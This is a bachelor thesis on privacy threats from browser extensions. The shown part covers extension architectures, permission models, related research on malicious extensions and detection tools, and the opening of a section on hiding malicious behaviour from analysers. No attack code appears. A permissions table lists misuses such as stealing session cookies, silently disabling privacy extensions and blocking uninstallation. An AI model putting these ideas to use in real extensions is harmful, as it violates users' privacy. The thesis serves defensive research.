

Privacy Threat Analysis Of Browser Extensions

Analyse der Privatsphäre von Browser-Erweiterungen

Bachelor-Thesis von Arno Manfred Krause

Tag der Einreichung:

1. Gutachten: Referee 1
2. Gutachten: Referee 2



TECHNISCHE
UNIVERSITÄT
DARMSTADT

Computer Science
cased

Privacy Threat Analysis Of Browser Extensions
Analyse der Privatsphäre von Browser-Erweiterungen

Vorgelegte Bachelor-Thesis von Arno Manfred Krause

1. Gutachten: Referee 1
2. Gutachten: Referee 2

Tag der Einreichung:

Contents

1	Abstract	2
2	Introduction	3
3	Extension Architecture	4
3.1	Multi Browser Extensions	6
3.2	Firefox ADD-ONs	9
4	Related Works	11
4.1	Extension Analysis	11
4.2	Extension Attacks	12
4.3	Malicious Code Detection	12
4.4	Information Flow Control In JavaScript	13
5	Extension Implementation	14
5.1	Hide Malicious Behavior	14
5.1.1	Code Obfuscation	14
5.1.2	Remotely Loaded Scripts	16
5.1.3	Mutual Extension Communication	17
5.2	Targeting	18
5.2.1	User Tracking	18
5.2.2	Fingerprinting	19
5.3	Communication	21
5.4	Attack Vectors	22
5.4.1	Accessing The Web Page	22
5.4.2	Execute Web Attacks	23
5.4.3	Intercept Requests	23
5.5	Implementation	24
5.5.1	Steal Credentials	24
5.5.2	Identifier Storage	26
5.5.3	Web Beacon	26
5.5.4	Keylogger	27
5.5.5	Fingerprinting	27
5.6	Summary	27
6	Extension Analysis	28
6.1	Google Translate	28
6.2	Unlimited Free VPN - Hola	28
6.3	Evernote Web Clipper	29

1 Abstract

Browser extensions are widely used today to enhance the way end users interact with the Internet. They can access data from the user by using interfaces provided by the browser. This can be misused to violate their privacy or manipulate the content of a web page in a malicious way. In this work we analyze the possibilities to integrate malicious behavior in extensions. First, we take a look which interfaces the browser provides to the extensions and whether and, if so, how the access is restricted. Using this knowledge, we develop and implement extensions with malicious behavior that uses the provided functionality. We examine popular extensions and what parts of the interfaces they use. Then, show that we can integrate parts of our previously implemented behavior into them. Finally we describe ways to improve the privacy of those susceptible extensions by limiting the possibilities to integrate malicious behavior.

2 Introduction

It is impossible to think about our modern society without the use of web browsers. They represent the connection to the Internet, the biggest until now created information distribution system. Even a person in far reaches can access the newest global information using a browser and the world wide web. There are different ways to deliver the information to the user, such as plain text, embellished web pages, or video and audio streams. The browser then displays these information and allows the user to send information himself back to the origin or other web services. But browsers are limited. The content they are displaying is largely dictated by the web service's author. The best example here are advertisements. The user often does not wish to see them, but the author gets profit from displaying them. It is unreasonable to ask the author to remove his source of gainings. Another example is the design of a web page that is fixed by the developer and the user can only change it, if the developer has implemented the option to do so. To overcome the limitations and to enhance the way the end user interacts with the Internet, most browsers support the use of extensions. These are small programs that add new functionality to the browser by changing the look and the behavior of the browser itself and the web pages that are loaded. Of course, changing the content of a browser itself distinguishes depending on what user interfaces the browser provides. To change the content of a web page the browser grants the extension access to the web pages *Document Object Model (DOM)*. The DOM is a standardized interface for accessing and updating the content, structure, and style of a HTML or XML document ¹. It is implemented by most browsers and allows script languages such as JavaScript to access the web page's content [4]. The browser exposes additional functionality to its extensions, giving an extension a bigger scope of actions as a normal script inside a web page has. For example can an extension use the standardized *XMLHttpRequest (XHR)* ². XHR is an interface for JavaScript to transmit data using the HTTP protocol. It is used by web pages to fetch additional data from a server. In doing so, a web page underlies the *Same Origin Policy (SOP)* that prohibits an embedded script to access any server other than the pages origin. An extension is not restricted by the *Same Origin Policy*. The opposite would be impractical because the extension is located on the user's host machine and thereby would have only access to local resources.

All these features that the browser provides to its extensions are necessary for the extension's purpose but they also open the door for malicious behavior and privacy violations. In this work we analyze what malicious behavior is possible to implement in browser extensions.

- First, we list what extensions can do in general. We describe the extension model used by Chrome, Opera, and Firefox and the old model for Firefox.
- We show implementations of malicious extensions.
- We analyze current top Chrome extensions for being over privileged in terms of the used permission model and show that we can integrate malicious behavior into them.
- We describe ways to improve the privacy of founded susceptible extensions.
- Finally, we describe existing models to increase the privacy of extensions in general.

¹ World Wide Web Consortium DOM specification: <http://www.w3.org/DOM/>

² World Wide Web Consortium XHR specification: <http://www.w3.org/TR/XMLHttpRequest/>

3 Extension Architecture

We have analyzed three different extension architectures to find commonalities and differences:

- WebExtensions, applicable for Chrome, Opera, and Firefox
- Firefox Add-ons
- Safari Extensions

In 2009, Google introduced a new extension model for its Chrome browser. 4 years later, the developer of the Opera browser decided to change their browser framework to Chromium [17]. By adapting the same underlying framework as Chrome, Opera also adapted the extension model. It became possible to use the same extension on both browsers. The Mozilla developers recently started to implement their own implementation to support Chrome's extension model in Firefox. Their goal is to establish a general model for extensions which is applicable on all browsers. They orientate themselves on the standardization of web pages. The same extension implementation should work equal on all browsers, similar how the same web page is displayed equal on all browsers. In their development process, the developers named their implementation *WebExtension*. We agreed to adapt their nomenclature in our paper to refer to this cross-browser extension model. Because the WebExtension support for Firefox is still in development, extensions for Firefox are currently implemented in their old model called *Add-ons*.

Development All extensions are written in web technologies such as JavaScript, HTML and CSS. Therefore, a standard editor can be used to write the extension's source code.

WebExtension	Firefox Add-on	Safari Extension
WebExtensions are developed locally as a bundle of JavaScript, HTML, and CSS files. To debug them, the developer can load the bundle in the browser. There is no need for additional software.	Mozilla provides a JavaScript framework to develop Firefox Add-ons. The developer has to install the framework before he starts to implement an Add-on.	Safari provides an user interface to build extensions. The developer can enter needed information directly in the browser and add source code files with a file chooser dialog.

Table 1: Differences in extension development

Structure Each extension consists of a background and content scripts.

For every extension exists mandatory information such as name, version, author, icon, permissions, and other meta-data. They are stored inside special files in the extension bundle.

WebExtension	Firefox Add-on	Safari Extension
WebExtensions use a JSON file called <code>manifest.json</code> .	Add-ons also use a JSON file called <code>package.json</code> .	Safari stores the information and settings in <code>.plist</code> files which are filled automatically by Safaris extension builder interface.

Table 2: Differences in extension manifest and settings

Extension Background The extension's main logic is stored inside the extension's background process. It has full access to the browser API and can exchange messages with injected content scripts via a string based message channel.

WebExtension	Firefox Add-on	Safari Extension
The extensions background is stored inside a single HTML page. JavaScript files with the extension's logic are embedded as script elements in the page.		

Table 3: Differences in the extension's background

Browser API The browser provides special functionality to its extensions such as access to the user's web history and bookmarks, to intercept web requests, and to take screen shots. The extensions background has full access to the API, but content scripts have only access to mandatory modules, for example the communication channel to the background.

WebExtension	Firefox Add-on	Safari Extension
The access to the browser API is restricted by permissions. Each API module has a proper permission which needs to be declared in the extension's manifest to get access to the module. Additionally, some permissions throw a warning when the user installs the extension.		

Table 4: Differences in browser API's

Content Scripts To interact with a web page, the extension executes *content scripts* which have full access to the web page's DOM. They behave like JavaScript embedded inside the web page which means they have access to the web page's `window.document` object. This allows them to manipulate the page's content or change the reaction to user input. Content scripts can not call methods on the extension's core scripts, but only exchange messages with them. The developer can register content scripts for his extension with corresponding URL pattern. The browser compares the pattern with the web pages URL every time a web page is loaded. If they match, the browser will inject the content script in the web page. The developer can use wildcards in the URL pattern to match several web pages at once. For example, a content script with the pattern `http://*.example.com/*` will be injected into web pages from the domain `http://api.example.com/` and `http://www.example.com/foo` but not into the pages from `https://www.example.com/` and `http://www.example.org/`. Furthermore, if the developer wants to inject a content script based on additional conditions, he can programmatically inject them himself.

WebExtension	Firefox Add-on	Safari Extension
The developer declares content scripts statically in the extension's manifest. At runtime, the injection of static content scripts can not be prevented. Programmatically injection is also possible, but needs special permissions to access the web page.	Content scripts are dynamically registered in the source code at any time.	Safari supports both static and dynamic registration of content scripts, but not programmatically injection. The extension builder interface provides the functionality to add static content scripts. Safari uses not only a whitelist for its content scripts but also an additional blacklist.

Table 5: Differences in content scripts

The extension models we analyzed have a common base structure. They are implemented in the web technologies JavaScript, HTML and CSS and consists of two parts: The extension's core logic that interacts with the browser and so called *content scripts* that interact with the web page. The extension's core logic is stored inside a single HTML page with embedded JavaScript that implements the behavior. This page is active in the background while the browser is running. It has access to the browser's API that provides additional features such as the access to the browsers tab system or to read the user's bookmarks or web history. Each browser also provides user interfaces to the extension which are mostly buttons in the browser's tool-bars, pop-up HTML pages, or entries in the context menu.

To interact with a web page *content scripts* are executed in the scope of the web pages DOM. They behave like JavaScript which is embedded inside a HTML page, means they have access to the web pages DOM via the `window.document` object. This allows them to manipulate the DOM tree or change the pages reaction to user input. The injection of content scripts inside a web page is restricted by URL pattern. These are matching pattern that use wildcards to match several web pages at once. For example, a content script with the URL pattern `http://*.example.com/*` would be injected into the pages `http://api.example.com/` and `http://www.example.com/foo` but not into the pages `https://www.example.com/` and `http://www.example.org/`. The content script is separated from the extension's core. It can not directly access functions on the extension's core but only exchange messages over a string based channel. It has also almost no access to the browser's API. The range of exposed functions differs between the browsers.

A further separation exists between the web page and each injected content script. Each script and the web page runs in its own JavaScript heap with its own DOM object. Consequently, content scripts among each other and the web page can not access each other. Both the web page's script and the content script have access to the variable `window.document`, but these variables refer to separate JavaScript objects that represent the underlying DOM. If one script now calls a DOM-specific method, such as `createElement()`, the underlying the DOM and both objects are updated accordingly. However,

if a script modifies a non-standard DOM property, such as `document.bar`, it is not transferred to the DOM and therefore not to the other object, too. The web page and a content script can communicate with each other by using the DOM specific function `window.postMessage`. The function fires an event which then can be read by an event listener.

3.1 Multi Browser Extensions

In 2009, Google introduced a new extension model for its Chrome browser. 4 years later, the developer of the Opera browser decided to change their browser framework to Chromium [17]. By adapting the same underlying framework as Chrome, Opera also adapted the extension model. It became possible to use the same extension on both browsers. The Mozilla developers took the chance to expand the utilization of cross browser extensions and integrated Chrome's extension model into Firefox [38].

The model was created accordingly to the proposal from Barth et al. [15]. In his work he investigated the old extension model of Mozilla's Firefox and revealed many vulnerabilities in connection to Firefox extensions running with the user's full privileges. This enables the extension to access arbitrary files and launch new processes. He proposed a new model with a strict separation of an extension's content and an permission system that to make it more difficult for an attacker to gain access to the user's machine.

The permission model is designed to limit the danger from benign-but-buggy extensions [15]. It is assumed that most extensions are developed by non professional developers who might implement an attack vector by mistake. The permissions should prevent the leak of privileged functions in the case that the extension is compromised. For that purpose the model is built on the principle of least privilege. The access to any API module is disabled by default and only enabled if appropriate permissions are set. The developer should only declare permissions that are necessary for his extension's legitimate purpose. In the case that the extension is compromised the attacker can only use the declared functionality at runtime. Cross-origin access is also restricted by permissions. Although extensions are not bound to the *Same Origin Policy*, Chrome disables requests to remote servers if no appropriate host permission is declared. Equal to content scripts, host permissions take an URL pattern to match several hosts at once. Both type of permissions are declared in the extension's mandatory *manifest* file as seen in Figure 1. Some permissions trigger a warning when a user installs the extension. For example results a host permission in a warning that the extension can read and modify the user's data on the host's web page. Warnings also show up if an extension is updated and its permission's have changed.

Figure 1: Example of a manifest. It shows an extension with two injected scripts and a corresponding host pattern. The extension uses one JavaScript file as its non persistent background page and requests access to two API modules and one cross-origin. Finally, it defines its own Content Security Policy.

There are two kinds of background pages: Persistent background pages that are active all the time and non-persistent background pages also called *event pages* that are only active if needed. The browser loads the event page if a task has to be performed and unloads it as soon as the task is finished. This behavior saves memory and resources, consequently giving a better performance. The event page is triggered if the extension is installed or updated so that the background page can register for events, an registered event is dispatched, or an other script accesses the event page.

Both kinds of background page underly a *Content Security Policy (CSP)* ³. CSP is a web security policy intended to prevent potential content injection attacks. The developer controls the resources the web page loads and executes by listing trusted sources. This is intended as a deeper defense layer to reduce the harm a malicious injection could do, but it is no replacement for a first defense layer such as an input validation or output encoding. The CSP for the extension's background page holds three default rules:

- JavaScript embedded in the background page with an origin different from the extension's installation is disabled.
- Inline JavaScript such as `<script>` tags or `onclick="function()"` event handler are disabled.
- The use of `eval` and related functions such as `setTimeout()` and `setInterval()` are disabled. ⁴

The developer can either relax these policies if his extension needs to use some of the disabled functionality or even tighten them in order to increase the security. Figure 1 shows an example for a CSP. The key `"default-src 'none'"` tightens the policy by disabling resources from any source. Controversial, the second key `script-src 'self'"` allows to use script from within the extension's installation and relaxes the policy by allowing the use of *eval* inside the loaded script.

³ World Wide Web Consortium CSP2 specification: <http://www.w3.org/TR/CSP2/>

⁴ The JavaScript function *eval* is considered dangerous. It executes the given string as a new JavaScript process that has the privileges of the calling process. If the given input can be affected by a third party, it would open a possibility for a content injection attack [10].

The following list is an extract of the provided API modules with associated permissions and which browser currently supports them. Firefox and Opera are still developing their implementation of the API. The whole lists are found on the developer platforms [1, 2, 11]. The list is filtered based on modules that provide functionality which can be misused in some form.



Module	Description	Potential Risk
<i>activeTab</i>	Gives the extension temporary access to the active tab only if the user invokes the extension - for example by clicking on a button. This permission is suggested for extensions that otherwise would need full, persistent access to every web page to act if invoked by the user. The activeTab permission grants temporary the <i>tabs</i> permission without the need to declare it in the manifest. Not supported by Firefox.	
<i>background</i>	If one or more extensions with the background permission are active, the browser runs invisible in the background starting with the user's login. This behavior is only implemented in Chrome and can be disabled generally in Chrome's configuration.	A malicious extension still acts after the browser window is closed.
<i>bookmarks</i>	Gives read and write access to the user's bookmarks. Only partially supported by Firefox.	Get information about preferred web pages or change the URL of a bookmark to a malicious web page.
<i>contentSettings</i>	Allows the extension to overwrite the settings that control whether a web page can use features such as cookies, JavaScript, and plugins for particular web pages. Not supported by Firefox.	Reactivate settings that the user has explicitly deactivated on particular, maybe malicious web pages. For example the location tracking.
<i>cookies</i>	Gives the extension read and write access to all cookies even to <i>httpOnly</i> cookies that are normally invisible to client-side JavaScript. Only partially supported by Firefox.	Steal the users session and authentication data that is mostly stored inside cookies.
<i>downloads</i>	With this module the extension can initiate, monitor or manipulate downloads. If the file is labeled as dangerous the browser prompts the user to accept the download [42]. Not supported by Firefox.	
<i>geolocation</i>	Gives the extension access to the HTML geolocation API ⁵ without prompting the user for permission. Not supported by Firefox and Opera.	Silently track or identify the user.
<i>management</i>	The extension can list, disable or uninstall other extensions with this module. If an other extension should be uninstalled the user is prompted to accept. Only partially supported by Opera and not supported by Firefox.	Silently disable privacy preserving extensions such as <i>Ad-block</i> or <i>NoScript</i> .
<i>privacy</i>	The extension can request to change the browser's privacy settings. The request will be denied if an other extension uses the setting or the access is denied by default. Not supported by Firefox.	
<i>proxy</i>	Allows the extension to manipulate the browser's proxy settings. Not supported by Firefox.	Send user's requests through a malicious proxy like a server that tracks all requests.
<i>system</i>	Provides information about the user's host machine. Not supported by Firefox.	Create a profile to identify the user based on information such as the kernel or display name.
<i>tabs</i>	Gives access to the browser's tab system. Allows to create and close tabs, to inject scripts, and to connected to running content scripts inside a tab. Only partially supported by Firefox and Opera.	Prevent the user from uninstalling the extension by closing the extension management tab. Inject other scripts than the declared content scripts, even remote received.
<i>webRequest</i>	Gives access to events fired by the life cycle of a web request. Allows to observe, intercept or manipulate web requests. Only partially supported by Firefox.	Request data can be read and redirects executed.

The activeTab permission and the event pages do not only give a better performance but do also improve the security. If the extension is compromised the attacker would need to wait until the extension is active before obtaining access and would loose the access when the extension is unloaded. On the other hand if the extension itself is malicious it gets

restricted in its actions to only act if the user invokes it.

Chrome distributes its extensions over the Chrome Web Store⁶. The installation of extensions from remote servers was disabled because this mechanism was often misused to install malicious extensions [30]. To further restrict the distribution of malicious extensions, Google added a registration fee for developers [?]. The developer has to add a credit card to his Google account. This allows Google to better identify the developer and it discourages possible malicious developers. Opera has its own web store, too⁷. Anyone can commit a new extension which is then reviewed by Opera's developers. The extension is only published if it matches the acceptance criteria. Those range from correct execution over guidelines for adequate design to privacy preserving measures [3]. Extensions in the multi-browser model are currently not published for Firefox [12].

3.2 Firefox ADD-ONS

Mozilla just started implementing the extension model [38]. The model is currently not released to Firefox and those extensions are not publicly distributed [12]. Current extensions for Firefox are called *add-ons* and are build with the browsers native technologies. This allows an add-on to use any feature that the browser can use. Mozilla distributed a JavaScript framework for building their add-ons that operates on the modules system defined by the *CommonJS*⁸ module format. This allows to resign from the native technologies and focus the development on web technologies. The framework handles the interaction with the native technologies, consequently keeping the access to the browser's features. If an add-on uses those features, it is automatically registered for an extra security review by Mozilla [5].

The framework uses a *package.json* file that manages the add-on's content similar to the extension's manifest file. Firefox add-ons do not have a permission system comparable to the permissions of the extension model. There is however a *permission* section in the package file. But it only holds three keys: The first indicates whether or not the add-on can access private browsing windows. The second is a list of fully qualified domain names which can be accessed by content scripts. And the third indicates whether or not the add-on is compatible with the multiprocess version of Firefox.

The following list shows an extract of the functionality provided to an add-on filtered on possible privacy risks. The full list of modules can be found on Mozilla's developer network [6, 7]

- Access Firefox's built-in password manager.
- Access users data like bookmarks, favorite web pages, or history.
- Read content from URIs and use XMLHttpRequests [49].
- Firefox provides a long list of events for which an add-on can register [8].
- Read and write environment variables.
- Get technical information about the user's host machine.
- Access the users file system using the native interfaces.

Firefox uses an internal privilege system to restrict the access of remote JavaScript code. They differentiate between trusted *chrome* code and untrusted *content* code. Chrome code is everything that comes from the browser itself. Its own JavaScript that interacts with the underlying C++ core and add-ons that have access to the browser's API. On the other hand is everything that is loaded from the web classified as content. Objects in a higher privileged scope have full access to other objects in a less privileged scope. But by default they only see the native object without any modifications by the less privileged code. This prevents the higher level code to be tricked with modified functionality by untrusted code. Contrary, less privileged code can not access higher privileged code. In addition to the two main privilege levels, chrome code can generate sandboxes and determines its privilege level and its access to certain objects. Thereby it is possible to give a piece of JavaScript fine grained access to needed functionality without exposing security relevant functions and still protect it from access by less privileged code. For example, content scripts are executed inside a sandbox with certain privileges over content code. Thereby it is protected from direct access by the web page's code and can only see the web page's unmodified DOM. But it has still less privileges than chrome code and can therefore not access the add-on's core or the browser's API.

Firefox uses a security mechanism to prevent an attacker that has compromised an add-on to access submodules that are not explicit requested inside the add-on. On compiling the add-on, a scanner lists all requests to modules inside the

⁶ Chrome Web Store: <https://chrome.google.com/webstore/category/extensions>

⁷ Opera Web Store: <https://addons.opera.com/en/>

⁸ CommonJS Wiki Modules specification: <http://wiki.commonjs.org/wiki/Modules/1.1.1>

add-on's code. The runtime loader will actually prevent the loading of modules that are not listed. This prevents an attacker to use further modules and more privileged functions at runtime.

Mozilla distributes add-ons for Firefox over their own web store⁹ but also allows the installation from private web pages. Add-ons published over the web store are target to an security review [9]. After passing the review the add-on is signed by Mozilla what is shown on installation. Similarly, if an add-on is published private it is labeled as untrusted on installation.

⁹ Firefox Web Store: <https://addons.mozilla.org/en-US/firefox/>

4 Related Works

4.1 Extension Analysis

The basis for Chrome's extension architecture was proposed by Adam Barth et al. who analyzed Firefox's Add-on model [15]. They found several exploits which may be used by attackers to gain access to the user's computer. In their work, they focus on unintentional exploits in extensions which occur because extension developer are often hobby developers and not security experts. Firefox runs its extensions with the user's full privileges including to read and write local files and launch new processes. This gives an attacker who has compromised an extension the possibility to install further malware on the user's computer. Barth et al. proposed a new model for extensions to decrease the attack surface in the case that an extension is compromised. For that purpose, they proposed a privilege separation and divided their model in three separated processes. *Content scripts* have full access to the web pages DOM, but no further access to browser intern functions because they are exposed to potentially attacks. The browser API is only available to the extension's *core* which runs in another process as the content scripts. Both can exchange messages over a string based channel. The core has no direct access to the user's machine. It can exchange messages with optionally *native binaries* which have full access to the host.

To further limit the attack surface of extensions, they provided an additional separation between content scripts and the underlying web page called *isolated world*. The web page and each content script runs in its own process and has its own JavaScript object of the DOM. If a script changes a DOM property, all objects are updated accordingly. On the other hand, if a non-standard DOM property is changed, it is not reflected onto the other objects. This implementation makes it more difficult to compromise a content script by changing the behavior of one of its functions.

For the case that an attacker was able to compromise the extension's core and gains access to the browser's API, Barth et al. proposed a permission system with the principle of least privileges to reduce the amount of available API functions at runtime. Each extension has by default no access to functions which are provided by the browser. It has to explicit declare corresponding permissions to these functions on installation. Therefore, the attacker can only use API functions which the developer has declared for his extension.

Nicholas Carlini et al. evaluated the three security principles of Chrome's extension architecture: *isolated world*, *privilege separation* and *permissions* [19]. They reviewed 100 extensions and found 40 containing vulnerabilities of which 31 could have been avoided if the developer would have followed simple security best practices such as using HTTPS instead of HTTP and the DOM function `innerText` that does not allow inline scripts to execute instead of `innerHTML`. Evaluating the isolated world mechanism, they found only three extensions with vulnerabilities in content scripts; two due to the use of `eval`. Isolated world effectively shields content scripts from malicious web pages, if the developer does not implement explicit cross site scripting attack vectors. Privilege separation should protect the extension's background from compromised content scripts but is rarely needed because content scripts are already effectively protected. They discovered that network attacks are a bigger threat to the extension's background than attacks from a web page. An attacker can compromise an extension by modifying a remote loaded script that was fetched over an HTTP request. The permission system acts as security mechanism in the case that the extension's background is compromised. Their review showed that developers of vulnerable extensions still used permissions in a way that reduced the scope of their vulnerability. To increase the security of Chrome extensions, Carlini et al. proposed to ban the loading of remote scripts over HTTP and inline scripts inside the extension's background. They did not propose to ban the use of `eval` in light of the facts that `eval` itself was mostly not the reason for a vulnerability and banning it would break several extensions.

Mike Ter Louw et al. evaluated Firefox's Add-on model with the main goal to ensure the integrity of an extension's code [45]. They implemented an extension to show that it is possible to manipulate the browser beyond the features that Firefox provides to its extensions. They used this to hide the extension completely by removing it from Firefox installed extensions list and injecting it into an presumably benign extension. Furthermore, their extension collects any user input and data and sends it to a remote server. The integrity of an extension's code can be harmed because Firefox signs the integrity on the extension's installation but does not validate it on loading the extension. Therefore, an malicious extension can undetected integrate code into an installed extension. To remove this vulnerability Ter Louw et al. proposed user signed extensions. On installation the user has to explicit allow the extension which is then signed with a hash certificate. The extension's integrity will be tested against the certificate when it is loaded. To protect the extension's integrity at runtime they added policies on a per extension base such as to disable the access to Firefox's native technologies.

An approach similar to the policies from Louw et al. was developed by Kaan Onarlioglu et al. [41]. They developed a policy enforcer for Firefox Add-ons called *Sentinel*. Their approach adds a runtime monitoring to Firefox for accessing the browser's native functionality and acts accordingly to a local policy database. Additional policies can be added by the user which enables a fine grained tuning and to adapt to personal needs. The disadvantage is that the user needs to have knowledge about extension development to use this feature. The monitoring is implemented by modifying the Add-on

SDK. They modified those JavaScript modules that interact with the native technologies by adding wrappers that execute the policies.

4.2 Extension Attacks

Lei Liu et al. evaluated the security of Chrome's extension architecture against intentional malicious extensions [34]. They developed a malicious extension which can execute password sniffing, email spamming, DDoS, and phishing attacks to demonstrate potential security risks. Their extension works with minimal permissions such as access to the tab system and access to all web pages with `http://**/*` and `https://**/*`. To demonstrate that those permissions are used in real world extensions, they analyzed popular extensions and revealed that 19 out of 30 evaluated extensions did indeed use the `http://**/*` and `https://**/*` permissions. Furthermore, they analyzed thread models which exists due to default permissions such as full access to the DOM and the possibility to unrestrictedly communicate with the origin of the associated web page. These capabilities allow malicious extension to execute cross-site request forgery attacks and to transfer unwanted information to any host. To increase the privacy of a user, Liu et al. proposed a more fine grained permission architecture. They included the access to DOM elements in the permission system in combination with a rating system to determine elements which probably contain sensitive information such as password fields or can be used to execute web requests such as iframes or images.

A further research about malicious Chrome extensions demonstrates a large list of possible attacks to harm the user's privacy [16]. Lujo Bauer et al. implemented several attacks such as stealing sensitive information, executing forged web request, and tracking the user. All their attacks work with minimal permissions and often use the `http://**/*` and `https://**/*` permissions. They also exposed that an extension may hide its malicious intent by not requiring suspicious permissions. To still execute attacks, the extension may communicate with another extension which has needed permissions.

4.3 Malicious Code Detection

Hulk is an dynamic analysis and classification tool for chrome extensions [29]. It categorizes analyzed extensions based on discoveries of actions that may or do harm the user. An extension is labeled *malicious* if behavior was found that is harmful to the user. If potential risks are present or the user is exposed to new risks, but there is no certainty that these represent malicious actions, the extension is labeled *suspicious*. This occurs for example if the extension loads remote scripts where the content can change without any relevant changes in the extension. The script needs to be analyzed every time it is loaded to verify that it is not malicious. This task can not be accomplished by an analysis tool. Lastly an extension without any trace of suspicious behavior is labeled as *benign*. Alexandros Kapravelos et al. used *Hulk* in their research to analyze a total of 48,322 extensions where they labeled 130 (0.2%) as malicious and 4,712 (9.7%) as suspicious.

Static preparations are performed before the dynamic analysis takes action. URLs are collected that may trigger the extension's behavior. As sources serve the extension's code base, especially the manifest file with its host permissions and URL pattern for content scripts, and popular sites such as Facebook or Twitter. This task has its limitation. *Hulk* has no account creation on the fly and can therefore not access account restricted web pages.

The dynamic part consists of the analysis of API calls, in- and outgoing web requests and injected content scripts. Some calls to Chrome's extension API are considered malicious such as uninstalling other extensions or preventing the user to uninstall the extension itself. This is often accomplished by preventing the user to open Chrome's extension tab. Web requests are analyzed for modifications such as removing security relevant headers or changing the target server. To analyze the interaction with or manipulation of a web page *Hulk* uses so called *honey pages*. Those are based on *honeypots* which are special applications or server that appear to have weak security mechanisms to lure an attack that can then be analyzed. Honey pages consists of overridden DOM query functions that create elements on the fly. If a script queries for a DOM element the element will be created and any interaction will be monitored.

WebEval is an analysis tool to identify malicious chrome extensions [26]. Its main goal is to reduce the amount of human resources needed to verify that an extension is indeed malicious. Therefore it relies on an automatic analysis process whose results are valuated by an self learning algorithm. Ideally the system would run without human interaction. The research of Nav Jagpal et al. shows that the false positive and false negative rates decreases over time but new threads result in a sharp increase. They arrived at the conclusion that human experts must always be a part of their system. In three years of usage *WebEval* analyzed 99,818 extensions in total and identified 9,523 (9.4%) malicious extensions. Automatic detection identified 93.3% of malicious extensions which were already known and 73,7% of extensions flagged as malicious were confirmed by human experts.

In addition to their analysis pipeline they stored every revision of an extension that was distributed to the Google Chrome

web store in the time of their research. A weakly rescan targets extensions that fetch remote resources that may become malicious. New extensions are compared to stored extensions to identifying near duplicated extensions and known malicious code pattern. WebEval also targets the identification of developer who distribute malicious extensions and fake accounts inside the Google Chrome web store. Therefore reputation scans of the developer, the account's email address and login position are included in the analysis process.

The extension's behavior is dynamically analyzed with generic and manual created behavioral suits. Behavioral suits replay recorded interactions with a web page to trigger the extension's logic. Generic behavioral suits include techniques developed by Kapravelos et al. for Hulk [29] such as *honeypages*. Manual behavioral suits test an extension's logic explicit against known threads such as to uninstall another extension or modify CSP headers. In addition, they rely on anti virus software to detect malicious code and domain black lists to identify the fetching of possible harmful resources. If new threads surface WebEval can be expanded to quickly respond. New behavioral suits and detection rules for the self learning algorithm can target explicit threads.

VEX is a static analysis tool for Firefox Add-ons [14]. Sruthi Bandhakavi et al. analyzed the work flow of Mozilla's developers who manually analyze new Firefox Add-ons by searching for possible harmful code pattern. They implemented VEX to extend and automatize the developer's search and minimize the amount of false-positive results. VEX statically analyses the flow of information in the source code and creates a graph system that represents all possible information flows. They created pattern for the graph system that detect possible cross site scripting attacks with *eval* or the DOM function *innerHTML* and Firefox specific attacks that exploit the improper use of *evalInSandbox* or wrapped JavaScript objects. More vulnerabilities can be covered by VEX by adding new flow pattern. A crucial limitation is that VEX targets only buggy Add-ons without harmful intent or code obfuscation.

Oystein Hallaraker et al. developed an auditing system for Firefox's JavaScript engine to detect malicious code pieces [24]. The system logs all interaction JavaScript and the browser's functionalities such as the DOM or or the browser's native code. The auditing output is compared to pattern to identify possible malicious behavior. Hallaraker et al. did not propose any mechanism to verify that detection results are indeed malicious. The implemented pattern can also match benign code. Their work targets JavaScripts embedded into web pages. Applying their system to extensions could be difficult, because extensions do more often call the browser's functionalities in an benign way due to an extension's nature.

4.4 Information Flow Control In JavaScript

Philipp Vogt et al. developed a system to secure the flow of sensitive data in JavaScript browsers and to prevent possible cross site scripting attacks [50]. They taint data on creation and follow its flow by tainting the result of every statement such as simple assignments, arithmetical calculations, or control structures. For this purpose they modified the browser's JavaScript engine and also had to modify the browser's DOM implementation to prevent tainting loss if data is temporarily stored inside the DOM tree. The dynamic analysis only covers executed code. Code branches that indirect depend on sensitive data can not be examined. They added a static analysis to taint every variable inside the scope of tainted data to examine indirect dependencies.

The system was designed to prevent possible cross site scripting attacks. If it recognizes the flow of sensitive data to an cross origin it prompts the user to confirm or decline the transfer. An empirical study on 1,033,000 unique web pages triggered 88,589 (8.58%) alerts. But most alerts were caused by web statistics or user tracking services. This makes their system an efficient tool to control information flow to third parties. The system could be applied to extensions for the same purpose and as security mechanism to prevent data leaking in buggy extensions.

Sabre is a similar approach to the tainting system from Vogt et al. but focused on extensions [21, 50]. It monitors the flow of sensitive information in JavaScript base browser extensions and detects modifications. The developers modified a JavaScript interpreter to add security labels to JavaScript objects. Sabre tracks these labels and rises an alert if information labeled as sensitive is accessed in an unsafe way. Although their system is focused on extensions it needs access to the whole browser and all corresponding JavaScript applications to follow the flow of data. This slows down the browser. Their own performance tests showed an overhead factor between 1.6 and 2.36. A further disadvantage is that the user has to decide if an alert is justified. The developer added a white list for false positive alarms to compensate this disadvantage.

5 Extension Implementation

5.1 Hide Malicious Behavior

Developer who publish malicious behavior in extensions want to hide their implementations from detection. There exists many approaches to detect malicious behavior not only in extensions but also in JavaScript applications in general [29, 26, 14, 21, 24, 31]. We can distinct those approaches between *static* and *dynamic* analysis.

Static analysis tools scans the extension's source code to find known malicious pattern using content matching. Some other approaches perform a static analysis of the flow of information in the extension. For instance, the static analysis tool VEX tracks information flows from external entry points to JavaScript evaluation methods to find possible Cross-Site-Scripting attack vectors [14]. But it's extensible implementation allows to also track the flow of sensitive information to external destinations and thereby detect the theft of these information.

JavaScript's event driven nature impedes static analysis. To make an assumption about what the extension will actually do at runtime is a very difficult task because there exists too many external factors that influent the extension's execution such as user input or asynchronous web requests. We can not predict when exactly a registered event is triggered at runtime if we only consider the static source code.

In a dynamic analysis, the extension is executed and evaluated at runtime. This gives the opportunity to exactly log what methods the extension calls and at what point. The focus of dynamic analysis tools for extensions often lies on API calls for the background process and DOM methods for content scripts. An dynamic analysis tool such as Hulk classifies an extension based on the called methods which were classified beforehand. For instance, using the method `chrome.tabs.getSelected`. Again, the event driven nature of JavaScript complicates the analysis. A dynamic analysis tool has to trigger preferably all registered events and hence any potential malicious behavior, too. Therefore, the extension is executed in the scope of different web pages. Because it is not possible to execute the extension in the scope of every existing web page reviewer have to find web pages that with a high degree of probability trigger the extension. For that purpose, they often use for example the *Alexa* most popular websites list. A static analysis beforehand may reveal further web pages that trigger the extension by scanning for parts of URLs in the source code such as URL pattern for content scripts or host permission in a `WebExtension`'s manifest.

